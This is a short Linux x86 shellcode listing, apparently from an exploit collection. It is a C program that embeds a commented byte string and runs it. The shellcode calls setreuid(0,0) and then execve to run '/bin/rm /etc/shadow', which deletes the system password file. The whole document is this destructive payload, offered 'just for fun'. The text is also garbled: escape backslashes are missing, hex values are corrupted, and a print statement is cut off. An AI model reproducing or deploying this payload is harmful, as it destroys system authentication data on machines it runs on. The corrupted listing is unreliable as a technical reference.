Linux - setreuid (0,0) & execve(/bin/rm /etc/shadow)

/* rmtheshadow.c by mr_me Just for fun :) visit: http://www.corelan.be:8800/ */ #include <stdio.h> #include <string.h> char sc[] = "x31xc0" // xor %eax,%eax "xb0x46" // mov $0�46,%al "x31xdb" // xor %ebx,%ebx "x31xc9" // xor %ecx,%ecx "xcdx80" // int $0�80 "x31xc0" // xor %eax,%eax "x50" // push %eax "x68x2fx2fx72x6d" // push $0�6d722f2f "x68x2fx62x69x6e" // push $0�6e69622f "x89xe3" // mov %esp,%ebx "x50" // push %eax "x68x61x64x6fx77" // push $0�776f6461 "x68x2fx2fx73x68" // push $0�68732f2f "x68x2fx65x74x63" // push $0�6374652f "x89xe1" // mov %esp,%ecx "x50" // push %eax "x51" // push %ecx "x53" // push %ebx "x89xe1" // mov %esp,%ecx "xb0x0b" // mov $0xb,%al "xcdx80"; // int $0�80 main() { printf("Linux � setreuid (0,0) & execve(/bin/rm /etc/shadow)\ncoded by: mr_$ printf("Length of shellcode: %dn",strlen(sc)); (*(void(*) ()) sc)(); }